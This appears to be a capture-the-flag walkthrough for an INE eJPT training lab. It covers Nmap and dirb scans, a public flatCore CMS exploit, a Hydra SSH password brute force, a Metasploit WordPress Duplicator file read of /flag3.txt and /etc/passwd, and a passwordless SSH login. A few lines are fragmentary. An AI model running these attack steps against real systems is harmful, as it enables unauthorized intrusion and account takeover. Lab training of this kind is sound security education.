Exploit web applications and weak SSH users across target1 and target2, capturing four MD5 flags.
GUI access to a Kali machine is provided. Two Linux targets: target1.ine.local and target2.ine.local. Identify the applications and services and capture the flags (MD5 hashes, submitted without the FLAG#{} wrapper).
target1 — credentials admin:password1.target1.target2, read /flag3.txt.target2.Useful wordlists: /usr/share/nmap/nselib/data/wp-plugins.lst, /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
All work is performed against an authorized INE training lab for eJPT exam preparation.
Scan and enumerate, identify the app as flatCore CMS, then run the public exploit after logging in with the given creds:
ip addr
cat /etc/hosts
nmap -sV -sC -Pn -A -p- target1.ine.local
dirb http://target1.ine.local
searchsploit flatCore CMS
python3 50262.py http://target1.ine.local admin password1
From the resulting shell, read the flag at the filesystem root:
cat /flag1.txt
List home directories, find the user iamaweakuser, and brute-force SSH with Hydra:
ls /home
hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://target1.ine.local
Hydra recovers the password angel. Log in and read the flag:
ssh iamaweakuser@target1.ine.local # password: angel
cat flag2.txt
Scan target2, enumerate WordPress plugins with the wp-plugins wordlist, and find the vulnerable Duplicator plugin:
nmap -sV -sC -A -Pn -p- target2.ine.local
gobuster dir -u http://target2.ine.local/wp-content/plugins/ -w /usr/share/nmap/nselib/data/wp-plugins.lst
searchsploit duplicator
Use Metasploit's Duplicator file-read module and point it at the flag:
msfconsole
search duplicator
use 1
show options
set RHOSTS target2.ine.local
set FILEPATH /flag3.txt
run
Use the Duplicator file-read to grab /etc/passwd, spot the account iamacrazyfreeuser, then log in over SSH (no password required) and read the flag:
cat /etc/passwd
ssh iamacrazyfreeuser@target2.ine.local
cat flag4.txt
| Flag | Target | Technique |
|---|---|---|
| 1 | target1 | flatCore CMS public exploit (searchsploit 50262.py) |
| 2 | target1 | Hydra SSH brute-force (iamaweakuser:angel) |
| 3 | target2 | WordPress Duplicator file read (Metasploit) |
| 4 | target2 | /etc/passwd leak → passwordless SSH login |
/etc/passwd, then pivot to the users it reveals.ip addr / Nmap and keep going.